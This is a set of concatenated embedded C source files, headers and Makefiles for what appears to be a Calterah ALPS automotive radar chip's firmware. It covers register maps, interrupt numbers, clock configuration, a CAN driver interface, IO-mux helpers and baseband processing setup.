#define EMU_REG_BB_LBIST_ENA (EMU_REG_BASEADDR+0x210)
#define EMU_REG_BB_LBIST_CLR (EMU_REG_BASEADDR+0x214)
#define EMU_REG_LBIST_STA (EMU_REG_BASEADDR+0x504)
#define EMU_REG_LBIST_STA_FAIL_MASK 0x1
#define EMU_REG_LBIST_STA_FAIL_SHIFT 0x1
#define EMU_REG_LBIST_STA_DONE_MASK 0x1
#define EMU_REG_LBIST_STA_DONE_SHIFT 0x0
/*--- EMU VALUE (BB LBIST)------------------------*/
#define BB_LBIST_CLEAR 0x4
#define DIG_ERR_CLEAR_ALL 0x1fff
#endif
<file_sep>#ifndef _ALPS_INTERRUPT_H_
#define _ALPS_INTERRUPT_H_
#define INT_ARC_WDG_TMO (18)
#define INT_RF_ERROR_IRQ (19)
#define INT_RF_ERROR_SS1 (20)
#define INT_DG_ERROR_IRQ (21)
#define INT_DG_ERROR_SS1 (22)
#define INT_BB_ERR_ECC_SB_W (23)
#define INT_FLASH_CTRL_ECC_ERR_SB (24)
#define INT_MASK_IRQ0 (25)
#define INT_MASK_IRQ1 (26)
#define INT_MASK_IRQ2 (27)
#define INT_MASK_IRQ3 (28)
#define INT_MASK_IRQ4 (29)
#define INT_MASK_IRQ5 (30)
#define INT_MASK_IRQ6 (31)
#define INT_BB_IRQ_W0 (32)
#define INT_BB_IRQ_W1 (33)
#define INT_BB_IRQ_W2 (34)
#define INT_TIMER_INTR_0 (35)
#define INT_TIMER_INTR_1 (36)
#define INT_TIMER_INTR_2 (37)
#define INT_TIMER_INTR_3 (38)
#define INT_CAN_0_IRQ0 (39)
#define INT_CAN_0_IRQ1 (40)
#define INT_CAN_0_IRQ2 (41)
#define INT_CAN_0_IRQ3 (42)
#define INT_CAN_1_IRQ0 (43)
#define INT_CAN_1_IRQ1 (44)
#define INT_CAN_1_IRQ2 (45)
#define INT_CAN_1_IRQ3 (46)
#define INT_DMA_M0_IRQ0 (48)
#define INT_DMA_M0_IRQ1 (49)
#define INT_DMA_M0_IRQ2 (50)
#define INT_DMA_M0_IRQ3 (51)
#define INT_DMA_M0_IRQ4 (52)
#define INT_ASYNC_BRG0 (58)
#define INT_ASYNC_BRG1 (59)
#define INT_CRC_IRQ0 (64)
#define INT_CRC_IRQ1 (65)
#define INT_CRC_IRQ2 (66)
#define INT_UART0_IRQ (67)
#define INT_UART1_IRQ (68)
#define INT_SPI_M0_ERR_IRQ (69)
#define INT_SPI_M0_RXF_IRQ (70)
#define INT_SPI_M0_TXE_IRQ (71)
#define INT_SPI_M1_ERR_IRQ (72)
#define INT_SPI_M1_RXF_IRQ (73)
#define INT_SPI_M1_TXE_IRQ (74)
#define INT_SPI_S_ERR_IRQ (75)
#define INT_SPI_S_RXF_IRQ (76)
#define INT_SPI_S_TXE_IRQ (77)
#define INT_QSPI_M_ERR_IRQ (78)
#define INT_QSPI_M_RXF_IRQ (79)
#define INT_QSPI_M_TXE_IRQ (80)
#define INT_I2C_M_IRQ (81)
#define INT_SW_IRQ0 (82)
#define INT_SW_IRQ1 (83)
#define INT_SW_IRQ2 (84)
#define INT_SW_IRQ3 (85)
#define INT_LVDS_TXO_IRQ (86)
#define INT_PWM0_IRQ (104)
#define INT_PWM1_IRQ (105)
#define INT_PWM2_IRQ (106)
#define INT_PWM3_IRQ (107)
#define INT_PWM4_IRQ (108)
#define INT_PWM5_IRQ (109)
#define INT_PWM6_IRQ (110)
#define INT_PWM7_IRQ (111)
#define INT_GPIO0_IRQ (112)
#define INT_GPIO1_IRQ (113)
#define INT_GPIO2_IRQ (114)
#define INT_GPIO3_IRQ (115)
#define INT_GPIO4_IRQ (116)
#define INT_GPIO5_IRQ (117)
#define INT_GPIO6_IRQ (118)
#define INT_GPIO7_IRQ (119)
#define INT_GPIO8_IRQ (120)
#define INT_GPIO9_IRQ (121)
#define INT_GPIO10_IRQ (122)
#define INT_GPIO11_IRQ (123)
#define INT_GPIO12_IRQ (124)
#define INT_GPIO13_IRQ (125)
#define INT_GPIO14_IRQ (126)
#define INT_GPIO15_IRQ (127)
#define INTNO_GPIO INT_GPIO0_IRQ
#define INTNO_GPIO_MAX INT_GPIO15_IRQ
#define INTNO_DW_TIMER0 INT_TIMER_INTR_0
#define INTNO_DW_TIMER1 INT_TIMER_INTR_1
#define INTNO_DW_TIMER2 INT_TIMER_INTR_2
#define INTNO_DW_TIMER3 INT_TIMER_INTR_3
#define INTNO_CAN0_0 INT_CAN_0_IRQ0
#define INTNO_CAN0_1 INT_CAN_0_IRQ1
#define INTNO_CAN0_2 INT_CAN_0_IRQ2
#define INTNO_CAN0_3 INT_CAN_0_IRQ3
#define INTNO_CAN1_0 INT_CAN_1_IRQ0
#define INTNO_CAN1_1 INT_CAN_1_IRQ1
#define INTNO_CAN1_2 INT_CAN_1_IRQ2
#define INTNO_CAN1_3 INT_CAN_1_IRQ3
#define INTNO_DW_PWM0 INT_PWM0_IRQ
#define INTNO_DW_PWM1 INT_PWM1_IRQ
#define INTNO_CAN0 INT_CAN_0_IRQ1
#define INTNO_CAN1 INT_CAN_1_IRQ1
#define SPI_M0_ERR_INTR INT_SPI_M0_ERR_IRQ
#define SPI_M0_RXF_INTR INT_SPI_M0_RXF_IRQ
#define SPI_M0_TXE_INTR INT_SPI_M0_TXE_IRQ
#define SPI_M1_ERR_INTR INT_SPI_M1_ERR_IRQ
#define SPI_M1_RXF_INTR INT_SPI_M1_RXF_IRQ
#define SPI_M1_TXE_INTR INT_SPI_M1_TXE_IRQ
#define SPI_S_ERR_INTR INT_SPI_S_ERR_IRQ
#define SPI_S_RXF_INTR INT_SPI_S_RXF_IRQ
#define SPI_S_TXE_INTR INT_SPI_S_TXE_IRQ
#define INTNO_UART0 (INT_UART0_IRQ)
#define INTNO_UART1 (INT_UART1_IRQ)
#define INTNO_TIMER0 (16)
#define INTNO_TIMER1 (17)
#define INT_BB_SAM INT_BB_IRQ_W2
#define INT_BB_RESERVE INT_BB_IRQ_W1
#define INT_BB_DONE INT_BB_IRQ_W0
#define INT_WDG_TIMEOUT INT_ARC_WDG_TMO
#endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
//#include "calterah_error.h"
#include "clkgen.h"
#include "radio_ctrl.h"
#include "arc_builtin.h"
#include "arc.h"
#include "arc_exception.h"
#include "alps_clock_reg.h"
#include "alps_clock.h"
#include "alps_module_list.h"
#include "alps_timer.h"
#include "embARC_debug.h"
int32_t clock_select_source(clock_source_t clk_src, clock_source_t sel)
{
int32_t result = E_OK;
uint32_t reg_addr = 0;
switch (clk_src) {
case SYSTEM_REF_CLOCK:
reg_addr = REG_CLKGEN_SEL_400M;
if (PLL0_CLOCK == sel) {
raw_writel(reg_addr, 1);
} else {
raw_writel(reg_addr, 0);
}
break;
case CPU_REF_CLOCK:
reg_addr = REG_CLKGEN_SEL_300M;
if (PLL1_CLOCK == sel) {
raw_writel(reg_addr, 1);
} else {
raw_writel(reg_addr, 0);
}
break;
default:
result = E_PAR;
}
return result;
}
int32_t clock_divider(clock_source_t clk_src, uint32_t div)
{
int32_t result = E_OK;
if (div && !(div & 1)) {
div -= 1;
}
switch (clk_src) {
case APB_REF_CLOCK:
raw_writel(REG_CLKGEN_DIV_APB_REF, div);
break;
case CAN0_CLOCK:
raw_writel(REG_CLKGEN_DIV_CAN_0, div);
break;
case CAN1_CLOCK:
raw_writel(REG_CLKGEN_DIV_CAN_1, div);
break;
case APB_CLOCK:
raw_writel(REG_CLKGEN_DIV_APB, div);
break;
case AHB_CLOCK:
raw_writel(REG_CLKGEN_DIV_AHB, div);
break;
case CPU_CLOCK:
raw_writel(REG_CLKGEN_DIV_CPU, div);
break;
case MEM_CLOCK:
case ROM_CLOCK:
case RAM_CLOCK:
raw_writel(REG_CLKGEN_DIV_MEM, div);
break;
default:
result = E_PAR;
}
return result;
}
int32_t clock_frequency(clock_source_t clk_src)
{
int32_t result = E_OK;
uint32_t val = 0;
switch (clk_src) {
case SYSTEM_REF_CLOCK:
if (raw_readl(REG_CLKGEN_SEL_400M)) {
result = PLL0_OUTPUT_CLOCK_FREQ;
} else {
result = XTAL_CLOCK_FREQ;
}
break;
case CPU_REF_CLOCK:
if (raw_readl(REG_CLKGEN_SEL_300M)) {
result = PLL1_OUTPUT_CLOCK_FREQ;
} else {
result = XTAL_CLOCK_FREQ;
}
break;
case PLL0_CLOCK:
result = PLL0_OUTPUT_CLOCK_FREQ;
break;
case PLL1_CLOCK:
result = PLL1_OUTPUT_CLOCK_FREQ;
break;
case UART0_CLOCK:
case UART1_CLOCK:
case I2C_CLOCK:
case SPI_M0_CLOCK:
case SPI_M1_CLOCK:
case SPI_S_CLOCK:
case QSPI_CLOCK:
case XIP_CLOCK:
case APB_REF_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_APB_REF) & 0xF;
result = clock_frequency(SYSTEM_REF_CLOCK);
if (result > 0) {
if (val) {
result /= (val >> 1) << 1;
}
}
break;
//case GPIO_CLOCK:
case TIMER_CLOCK:
//case DMU_CLOCK:
case PWM_CLOCK:
case APB_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_AHB) & 0xF;
result = clock_frequency(SYSTEM_REF_CLOCK);
if (result > 0) {
#ifdef CHIP_ALPS_B
if (val) {
result /= (val + 1);
}
#endif
val = raw_readl(REG_CLKGEN_DIV_APB) & 0xF;
if (val) {
result /= (val + 1);
}
}
break;
case BB_CLOCK:
case CRC_CLOCK:
case AHB_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_AHB) & 0xF;
result = clock_frequency(SYSTEM_REF_CLOCK);
if (result > 0) {
if (val) {
result /= (val + 1);
}
}
break;
case CPU_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_CPU) & 0xF;
result = clock_frequency(CPU_REF_CLOCK);
if (result > 0) {
if (val) {
result /= (val + 1);
}
}
break;
/*
case MEM_CLOCK:
case ROM_CLOCK:
case RAM_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_MEM) & 0xF;
result = clock_frequency(CPU_WORK_CLOCK);
if (result > 0) {
if (val) {
result /= (val + 1);
}
}
break;
*/
case RC_BOOT_CLOCK:
result = RC_BOOT_CLOCK_FREQ;
break;
case XTAL_CLOCK:
result = XTAL_CLOCK_FREQ;
break;
case CAN0_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_CAN_0) & 0xF;
result = clock_frequency(SYSTEM_REF_CLOCK);
if (result > 0) {
if (val) {
result /= (val + 1);
}
}
break;
case CAN1_CLOCK:
val = raw_readl(REG_CLKGEN_DIV_CAN_1) & 0xF;
result = clock_frequency(SYSTEM_REF_CLOCK);
if (result > 0) {
if (val) {
result /= (val + 1);
}
}
break;
case DAC_OUT_CLOCK:
default:
result = E_PAR;
}
return result;
}
void system_clock_init(void)
{
uint32_t pll_ready = raw_readl(REG_CLKGEN_READY_PLL);
if (0 == pll_ready) {
/* PLL on. */
#ifndef PLAT_ENV_FPGA
fmcw_radio_pll_clock_en();
#endif
} else {
fmcw_radio_clk_out_for_cascade();
}
pll_ready = raw_readl(REG_CLKGEN_READY_PLL);
if (pll_ready > 0) {
raw_writel(REG_CLKGEN_DIV_AHB, 1); // AHB should firstly be set.
raw_writel(REG_CLKGEN_DIV_APB, 3); // APB should be set after AHB
raw_writel(REG_CLKGEN_DIV_CAN_0, 3);//set can_clk=400/4=100MHz
raw_writel(REG_CLKGEN_DIV_CAN_1, 3);
raw_writel(REG_CLKGEN_SEL_300M, 1);
raw_writel(REG_CLKGEN_SEL_400M, 1);
set_current_cpu_freq(PLL1_OUTPUT_CLOCK_FREQ);
}else {
set_current_cpu_freq(XTAL_CLOCK_FREQ);
}
}
void bus_clk_div(uint32_t div)
{
clock_divider(AHB_CLOCK, div);
}
void apb_clk_div(uint32_t div)
{
clock_divider(APB_CLOCK, div);
}
void apb_ref_clk_div(uint32_t div)
{
clock_divider(APB_REF_CLOCK, div);
}
void switch_gpio_out_clk(bool ctrl)
{
if (ctrl) {
gpio_out_enable(1);
} else {
gpio_out_enable(0);
}
}
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Calterah, Inc. All rights reserved.
*
--------------------------------------------- */
#ifndef _DEVICE_HAL_CAN_H_
#define _DEVICE_HAL_CAN_H_
#include "dev_common.h"
/*
* defines for CAN baudrates
*/
#define CAN_BAUDRATE_100KBPS (100000)
#define CAN_BAUDRATE_200KBPS (200000)
#define CAN_BAUDRATE_250KBPS (250000)
#define CAN_BAUDRATE_500KBPS (500000)
#define CAN_BAUDRATE_1MBPS (1000000)
#define CAN_BAUDRATE_2MBPS (2000000)
#define CAN_BAUDRATE_4MBPS (4000000)
#define CAN_BAUDRATE_5MBPS (5000000)
typedef struct dev_can_cbs {
DEV_CALLBACK tx_cb; /*!< can data transmit callback */
DEV_CALLBACK rx_cb; /*!< can data receive callback */
DEV_CALLBACK err_cb; /*!< can error callback */
} DEV_CAN_CBS, *DEV_CAN_CBS_PTR;
struct can_frame_format_info {
uint8_t xtd;
uint8_t rtr;
uint8_t fdf;
uint8_t brs;
uint8_t dlc;
};
struct can_id_info {
uint32_t id_mode;
uint32_t id_l;
uint32_t id_h;
};
/**
* \defgroup DEVICE_HAL_CAN_DEVSTRUCT CAN Device Interface Definition
* \ingroup DEVICE_HAL_CAN
* \brief Contains definitions of can device interface structure.
* \details This structure will be used in user implemented code, which was called
* \ref DEVICE_IMPL "Device Driver Implement Layer" for can to use in implementation code.
* Application developer should use the UART API provided here to access to can devices.
* BSP developer should follow the API definition to implement can device drivers.
* @{
*/
/**
* \brief can information struct definition
* \details informations about can open count, working status,
* baudrate, can registers and ctrl structure.
*/
typedef struct dev_can_info {
void *can_ctrl; /*!< can control related pointer, implemented by bsp developer, and this should be set during can object implementation */
uint32_t opn_cnt; /*!< can open count, open it will increase 1, close it will decrease 1, 0 for close, >0 for open */
uint32_t status; /*!< current working status, refer to \ref DEVICE_HAL_COMMON_DEVSTATUS, this should be \ref DEV_ENABLED for first open */
uint32_t baudrate; /*!< can baud rate, this should be the value of baud passing by uart_open if first successfully opened */
uint32_t rx_buf_element_size;
uint32_t tx_buf_element_size;
struct can_frame_format_info ff_info;
struct can_id_info id_info;
uint32_t data_or_frame; /* send or receive raw data or frame. 0 for frame, 1 for raw data. */
DEV_BUFFER tx_buf; /*!< transmit buffer via interrupt, this should be all zero for first open */
DEV_BUFFER rx_buf; /*!< receive buffer via interrupt, this should be all zero for first open */
DEV_CAN_CBS can_cbs; /*!< can callbacks, callback arguments should be \ref DEV_CAN * or NULL, this should be all NULL for first open */
void *extra; /*!< a extra pointer to get hook to applications which should not used by bsp developer,
this should be NULL for first open and you can \ref DEV_CAN_INFO_SET_EXTRA_OBJECT "set"
or \ref DEV_CAN_INFO_GET_EXTRA_OBJECT "get" the extra information pointer */
} DEV_CAN_INFO, * DEV_CAN_INFO_PTR;
/** Set extra information pointer of can info */
#define DEV_CAN_INFO_SET_EXTRA_OBJECT(can_info_ptr, extra_info) (can_info_ptr)->extra = (void *)(extra_info)
/** Get extra information pointer of can info */
#define DEV_CAN_INFO_GET_EXTRA_OBJECT(can_info_ptr) ((can_info_ptr)->extra)
/**
* \brief can device interface definition
* \details Define can device interface, like can information structure,
* provide functions to open/close/control can, send/receive data by can
* \note All this details are implemented by user in user porting code
*/
typedef struct dev_can {
DEV_CAN_INFO can_info; /*!< can device information */
int32_t (*can_open) (uint32_t baud); /*!< Open can device */
int32_t (*can_close) (void); /*!< Close can device */
int32_t (*can_control) (uint32_t ctrl_cmd, void *param); /*!< Control can device */
int32_t (*can_write) (const void *data, uint32_t len); /*!< Send data by can device(blocked) */
int32_t (*can_read) (void *data, uint32_t len); /*!< Read data from can device(blocked) */
} DEV_CAN, * DEV_CAN_PTR;
#define DEV_SET_CAN_SYSCMD(cmd) DEV_SET_SYSCMD((cmd))
#define CAN_CMD_FD_ENABLE DEV_SET_CAN_SYSCMD(0)
#define CAN_CMD_FD_DISABLE DEV_SET_CAN_SYSCMD(1)
/* bit rate switch. */
#define CAN_CMD_BRS_ENABLE DEV_SET_CAN_SYSCMD(2)
#define CAN_CMD_BRS_DISABLE DEV_SET_CAN_SYSCMD(3)
/* transmission delay conpensation. */
#define CAN_CMD_SET_TDC DEV_SET_CAN_SYSCMD(4)
#define CAN_CMD_GET_TDC DEV_SET_CAN_SYSCMD(5)
#define CAN_CMD_TDC_DISABLE DEV_SET_CAN_SYSCMD(6)
/* auto re-transmission. */
#define CAN_CMD_ART_ENABLE DEV_SET_CAN_SYSCMD(7)
#define CAN_CMD_ART_DISABLE DEV_SET_CAN_SYSCMD(8)
#define CAN_CMD_MODE_ENABLE DEV_SET_CAN_SYSCMD(9)
#define CAN_CMD_MODE_DISABLE DEV_SET_CAN_SYSCMD(10)
#define CAN_CMD_RESET DEV_SET_CAN_SYSCMD(11)
/* timestamp counter mode. using enum CAN_TIMESTAMP_COUNTER_MODE. */
#define CAN_CMD_SET_TSCM DEV_SET_CAN_SYSCMD(12)
#define CAN_CMD_GET_TSC DEV_SET_CAN_SYSCMD(13)
/* Data (Re)Synchronization Jump Width. */
#define CAN_CMD_SET_DSJW DEV_SET_CAN_SYSCMD(14)
#define CAN_CMD_SET_BAUD DEV_SET_CAN_SYSCMD(15)
/* reject remote frame. */
#define CAN_CMD_SET_RRFE DEV_SET_CAN_SYSCMD(16)
#define CAN_CMD_UNSET_RRFE DEV_SET_CAN_SYSCMD(17)
/* ID filter size. */
#define CAN_CMD_SET_IDFS DEV_SET_CAN_SYSCMD(18)
/* extend id mask. */
#define CAN_CMD_SET_XIDAMR DEV_SET_CAN_SYSCMD(19)
/* interrupt. */
#define CAN_CMD_INT_ENABLE DEV_SET_CAN_SYSCMD(20)
#define CAN_CMD_INT_DISABLE DEV_SET_CAN_SYSCMD(21)
#define CAN_CMD_SET_RXCB DEV_SET_CAN_SYSCMD(22)
#define CAN_CMD_SET_TXCB DEV_SET_CAN_SYSCMD(23)
#define CAN_CMD_SET_ERRCB DEV_SET_CAN_SYSCMD(24)
#define CAN_CMD_SET_TX_BUF DEV_SET_CAN_SYSCMD(25)
#define CAN_CMD_SET_RX_BUF DEV_SET_CAN_SYSCMD(26)
//#define CAN_CMD_SET_FRAME DEV_SET_CAN_SYSCMD(27)
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
TIMESTAMP_COUNTER_ALWAYS_0 = 0x0,
TIMESTAMP_COUNTER_INCREMENT,
TIMESTAMP_COUNTER_EXTERNAL
} CAN_TIMESTAMP_COUNTER_MODE;
/* CMD: CAN_CMD_MODE_ENABLE/DISABLE. */
#define CAN_SLEEP_MODE (1)
#define CAN_LOOP_BACK_MODE (2)
#define CAN_BUS_MONITORING_MODE (3)
#define CAN_RESTRICTED_MODE (4)
typedef enum {
BUFFER_DATA_FIELD_8_BYTE = 0,
BUFFER_DATA_FIELD_12_BYTE,
BUFFER_DATA_FIELD_16_BYTE,
BUFFER_DATA_FIELD_20_BYTE,
BUFFER_DATA_FIELD_24_BYTE,
BUFFER_DATA_FIELD_32_BYTE,
BUFFER_DATA_FIELD_48_BYTE,
BUFFER_DATA_FIELD_64_BYTE
} CAN_BUFFER_DATA_FIELD_SIZE;
/* can_control: CAN_CMD_INT_ENABLE&CAN_CMD_INT_DSIABLE command parameter. */
#define CAN_INTERRUPT_PED (1 << 10)
#define CAN_INTERRUPT_PEA (1 << 9)
#define CAN_INTERRUPT_BO (1 << 8)
#define CAN_INTERRUPT_EW (1 << 7)
#define CAN_INTERRUPT_EP (1 << 6)
#define CAN_INTERRUPT_ELO (1 << 5)
#define CAN_INTERRUPT_BEU (1 << 4)
#define CAN_INTERRUPT_BEC (1 << 3)
#define CAN_INTERRUPT_TCF (1 << 2)
#define CAN_INTERRUPT_TC (1 << 1)
#define CAN_INTERRUPT_MRX (1 << 0)
#define CAN_INTERRUPT_ERROR_FLAG (CAN_INTERRUPT_PED | CAN_INTERRUPT_PEA | CAN_INTERRUPT_EW | \
CAN_INTERRUPT_EP | CAN_INTERRUPT_ELO | CAN_INTERRUPT_BEU | \
CAN_INTERRUPT_BEC | CAN_INTERRUPT_BO)
#define CAN_INTERRUPT_TRANSMIT_FLAG (CAN_INTERRUPT_TCF | CAN_INTERRUPT_TC)
#define CAN_INTERRUPT_RECEIVE_FLAG (CAN_INTERRUPT_MRX)
/*
* CAN_INT_PED: Protocol Error in Data Phase.
* CAN_INT_PEA: Protocol Error in Arbitration Phase.
* CAN_INT_BO: Bus_Off Status.
* CAN_INT_EW: Warning Status.
* CAN_INT_EP: Error Passive.
* CAN_INT_ELO: Error Logging Overflow.
* CAN_INT_BEU: Bit Error Uncorrected.
* CAN_INT_BEC: Bit Error Corrected.
* CAN_INT_TCF: Transmission Cancellation.
* CAN_INT_TC: Transmission Completed.
* CAN_INT_MRX: Message stored to RX Buffer.
******************************************************/
typedef enum {
CAN_INT_MRX = 0,
CAN_INT_TC,
CAN_INT_TCF,
CAN_INT_BEC,
CAN_INT_BEU,
CAN_INT_ELO,
CAN_INT_EP,
CAN_INT_EW,
CAN_INT_BO,
CAN_INT_PEA,
CAN_INT_PED
} CAN_INTERRUPT_TYPE;
#ifdef CHIP_ALPS_A
extern DEV_CAN_PTR can_get_dev(int32_t can_id);
#endif
#ifdef __cplusplus
}
#endif
/** @} */
#endif /* _DEVICE_HAL_UART_H_ */
<file_sep>#ifndef _DMU_RAW_API_H_
#define _DMU_RAW_API_H_
#include "alps_dmu_reg.h"
static inline void sys_dmu_select(uint32_t mode)
{
raw_writel(REG_DMU_SYS_DMU_SEL_OFFSET + REL_REGBASE_DMU, mode);
}
static inline uint32_t sys_dmu_mode_get(void)
{
return raw_readl(REG_DMU_SYS_DMU_SEL_OFFSET + REL_REGBASE_DMU);
}
static inline void io_mux_spi_m1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SPI_M1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
#define IO_MUX_SPI_S1_FUNC_MIX(clk, sel, mosi, miso) ( (((clk) & 0xF)) )
static inline void io_mux_spi_s1_func_sel(uint32_t mix_func)
{
raw_writel(REG_DMU_MUX_SPI_S1_OFFSET + REL_REGBASE_DMU, mix_func & 0xF);
}
static inline void io_mux_uart0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_UART0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_uart1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_UART1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_reset_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_RESET_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_sync_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SYNC_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_i2c_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_I2C_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_pwm0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_PWM0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_pwm1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_PWM1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_clk_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_ADC_CLK_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can_clk_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN_CLK_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_spi_m0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SPI_M0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
/* spi-s on APB. */
static inline void io_mux_spi_s0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SPI_S_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_jtag_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_JTAG_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_qspi_m1_sel(void)
{
/* dummy. */
}
static inline void io_mux_fmcw_start_sel(void)
{
}
static inline void io_mux_qspi_s_sel(void)
{
}
static inline void dmu_irq_enable(uint32_t irq, uint32_t en)
{
}
static inline void dmu_irq_select(uint32_t irq, uint32_t irq_sel)
{
}
#endif
<file_sep># Makefile for generate .so
TRACK_TEST_ROOT = .
CALTERAH_COMMON_ROOT = $(TRACK_TEST_ROOT)/..
TRACK_TEST_INCDIRS += $(CALTERAH_COMMON_ROOT)/baseband
DEFINES += -DTRACK_TEST_MODE
CFLAGS += $(addprefix -I, $(TRACK_TEST_INCDIRS))
CFLAGS += $(DEFINES) -g
ekf_track.so: ekf_track.c ekf_track.h track_common.h
gcc $(CFLAGS) -shared -Wl,-soname,ekf_track -lm -o ekf_track.so -fPIC ekf_track.c -std=gnu99
.PHONY : clean
clean :
@rm ekf_track.so
<file_sep>ARC_ROOT = $(EMBARC_ROOT)/arc
ifneq ($(ELF_2_MULTI_BIN), )
ARC_CSRCS += $(ARC_ROOT)/arc_timer.c \
$(ARC_ROOT)/arc_exception.c \
$(ARC_ROOT)/startup/arc_cxx_support.c
else
ARC_CSRCS += $(ARC_ROOT)/arc_cache.c \
$(ARC_ROOT)/arc_timer.c \
$(ARC_ROOT)/arc_exception.c \
$(ARC_ROOT)/startup/arc_cxx_support.c
endif
ARC_ASMSRCS += $(ARC_ROOT)/arc_exc_asm.s \
$(ARC_ROOT)/startup/arc_startup.s
ARC_COBJS = $(call get_relobjs, $(ARC_CSRCS))
ARC_ASMOBJS = $(call get_relobjs, $(ARC_ASMSRCS))
ARC_OBJS = $(ARC_COBJS) $(ARC_ASMOBJS)
BOOT_INCDIRS += $(EMBARC_ROOT)/inc/arc
CPU_ARC_DEFINES = -DCPU_ARC
CORE_DEFINES += $(CPU_ARC_DEFINES)
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
void ldo_monitor(void)
{
}
<file_sep>#include "vel_deamb_MF.h"
#if VEL_DEAMB_MF_EN
void bb_dpc_pre(baseband_t * bb)
{
frame_type_params_update(bb);
}
void bb_dpc_post_irq(baseband_t * bb)
{
obj_pair(bb);
}
void bb_dpc_config(baseband_data_proc_t * bb_dpc){
uint8_t frame_ind;
for (frame_ind = 0; frame_ind < 2 && frame_ind < DPC_SIZE ; frame_ind ++) {
bb_dpc[frame_ind].pre = bb_dpc_pre;
bb_dpc[frame_ind].post = NULL;
bb_dpc[frame_ind].post_irq = bb_dpc_post_irq;
bb_dpc[frame_ind].fi_recfg = true;
bb_dpc[frame_ind].stream_on = true;
bb_dpc[frame_ind].radio_en = true;
bb_dpc[frame_ind].tx_en = true;
sensor_config_t* cfg = sensor_config_get_config(frame_ind);
bb_dpc[frame_ind].sys_enable =
SYS_ENA(AGC , cfg->agc_mode)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true );
bb_dpc[frame_ind].cas_sync_en = true;
bb_dpc[frame_ind].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[frame_ind].track_en = false;
bb_dpc[frame_ind].end = false;
}
bb_dpc[frame_ind].pre = NULL;
bb_dpc[frame_ind].post = NULL;
bb_dpc[frame_ind].post_irq = NULL;
bb_dpc[frame_ind].fi_recfg = true;
bb_dpc[frame_ind].stream_on = false;
bb_dpc[frame_ind].radio_en = false;
bb_dpc[frame_ind].tx_en = false;
bb_dpc[frame_ind].sys_enable = SYS_ENA(BFM , true );
bb_dpc[frame_ind].cas_sync_en = false;
bb_dpc[frame_ind].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[frame_ind].track_en = true;
bb_dpc[frame_ind].end = true;
}
#endif
<file_sep>#ifndef _ALPS_DMU_REG_H_
#define _ALPS_DMU_REG_H_
#define REG_DMU_CMD_SRC_SEL_OFFSET (0 << 2)
#define REG_DMU_CMD_OUT_OFFSET (1 << 2)
#define REG_DMU_CMD_IN_OFFSET (2 << 2)
#define REG_DMU_ADC_RSTN_OFFSET (3 << 2)
#define REG_DMU_ADC_CNT_OFFSET (4 << 2)
#define DMU_ADC_SYN_OFFSET (5 << 2)
#define REG_DMU_DAC_ENA_OFFSET (6 << 2)
#define REG_DMU_DAC_MUL_OFFSET (7 << 2)
#define REG_DMU_DAC_DIV_OFFSET (8 << 2)
#define REG_DMU_FMCW_START_OFFSET (9 << 2)
#define REG_DMU_FMCW_STATUS_OFFSET (10 << 2)
#define REG_DMU_IRQ_EXT_MASK_OFFSET (11 << 2)
#define REG_DMU_IRQ_EXT_OFFSET (12 << 2)
#define REG_DMU_IRQ_SW_SET_OFFSET (13 << 2)
#define REG_DMU_IRQ_SW_OFFSET (14 << 2)
#define REG_DMU_DBG_SRC_OFFSET (15 << 2)
#define REG_DMU_DBG_VAL_OEN_OFFSET (16 << 2)
#define DMU_DBG_DAT_OEN_OFFSET (17 << 2)
#define DMU_DBG_DAT_O_OFFSET (18 << 2)
#define DMU_DBG_DAT_I_OFFSET (19 << 2)
#define REG_DMU_HIL_ENA_OFFSET (20 << 2)
/* IO MUX registers. */
#define REG_DMU_MUX_SPI_M1_OFFSET (22 << 2)
